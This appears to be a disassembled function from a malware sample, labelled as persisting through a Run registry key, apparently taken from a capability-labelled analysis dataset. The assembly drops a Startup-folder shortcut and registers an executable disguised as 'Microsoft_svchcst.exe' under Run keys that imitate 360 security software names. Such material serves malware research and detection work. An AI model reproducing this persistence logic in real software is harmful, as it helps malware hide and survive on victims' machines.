Function at 0x4280e7
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x4da7bc
push dword [0x508c50]
call fcn.00401905
add esp, 8
cmp eax, 0
je 0x42812c
push 0x4da7c1
push dword [0x508c50]
call fcn.00401905
add esp, 8
cmp eax, 0
je 0x42812c
xor eax, eax
jmp 0x428131
mov eax, 1
test eax, eax
je 0x428852
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push 0x80000002
push 0
push 0
push 0
push 0
push 0
push 0x80000004
push 0
push 0x4da746
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x428190
mov eax, 0x4d851d
push eax
push 4
mov ebx, 0x433470
call fcn.00432870
add esp, 0x34
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4281b6
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 8], 0xffffffff
je 0x428432
push 0x80000004
push 0
push str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupwins.lnk
push 1
mov ebx, 0x434ba0
call fcn.00432870
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42842d
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x428239
push ebx
call fcn.00432876
add esp, 4
mov ebx, 9
call fcn.00402598
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x428256
mov eax, 0x4d851d
push eax
push 0x80000004
push 0
push str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupwins.lnk
push 5
mov eax, 6
mov ebx, 0x49ca60
call fcn.0043287c
add esp, 0x40
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42828d
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x42842d
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4282e5
push ebx
call fcn.00432876
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4282f8
mov eax, 0x4d851d
push eax
push 1
mov ebx, 0x434ba0
call fcn.00432870
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42831e
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x42842d
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x428376
push ebx
call fcn.00432876
add esp, 4
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 0xc], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4283c4
push ebx
call fcn.00432876
add esp, 4
mov ebx, 9
call fcn.00402598
push 0x80000004
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x4283e1
mov eax, 0x4d851d
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4283f5
mov eax, 0x4d851d
push eax
push 5
mov eax, 6
mov ebx, 0x49ca60
call fcn.0043287c
add esp, 0x40
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42841d
push ebx
call fcn.00432876
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x42842d
push ebx
call fcn.00432876
add esp, 4
jmp 0x42869f
push 0x80000004
push 0
push str.C:Documents_and_SettingsAll_Users_
push 1
mov ebx, 0x434ba0
call fcn.00432870
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42869f
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4284ab
push ebx
call fcn.00432876
add esp, 4
mov ebx, 9
call fcn.00402598
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4284c8
mov eax, 0x4d851d
push eax
push 0x80000004
push 0
push str.C:Documents_and_SettingsAll_Users_
push 5
mov eax, 6
mov ebx, 0x49ca60
call fcn.0043287c
add esp, 0x40
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4284ff
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x42869f
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.win.ink
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x428557
push ebx
call fcn.00432876
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42856a
mov eax, 0x4d851d
push eax
push 1
mov ebx, 0x434ba0
call fcn.00432870
add esp, 0x10
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x428590
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x42869f
push 0x80000301
push 0
push 7
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4da858
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4285e8
push ebx
call fcn.00432876
add esp, 4
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 0xc], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x428636
push ebx
call fcn.00432876
add esp, 4
mov ebx, 9
call fcn.00402598
push 0x80000004
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x428653
mov eax, 0x4d851d
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x428667
mov eax, 0x4d851d
push eax
push 5
mov eax, 6
mov ebx, 0x49ca60
call fcn.0043287c
add esp, 0x40
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42868f
push ebx
call fcn.00432876
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x42869f
push ebx
call fcn.00432876
add esp, 4
push 0x80000004
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x435e20
call fcn.00432870
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x428852
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x428724
push ebx
call fcn.00432876
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x428737
mov eax, 0x4d851d
push eax
push 0x80000004
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x435e00
call fcn.00432870
add esp, 0x28
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x428775
push ebx
call fcn.00432876
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x428852
push 0x80000004
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360safo
push 0x80000301
push 0
push 3
push 2
mov ebx, 0x435e20
call fcn.00432870
add esp, 0x1c
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x428852
push 0x80000301
push 0
push 8
push 1
mov eax, 6
mov ebx, 0x49ccf0
call fcn.0043287c
add esp, 0x10
mov dword [ebp - 4], eax
push str.Microsoft_svchcst.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x428804
push ebx
call fcn.00432876
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x428817
mov eax, 0x4d851d
push eax
push 0x80000004
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun360sofe
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x435e00
call fcn.00432870
add esp, 0x28
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x428852
push ebx
call fcn.00432876
add esp, 4
mov esp, ebp
pop ebp
ret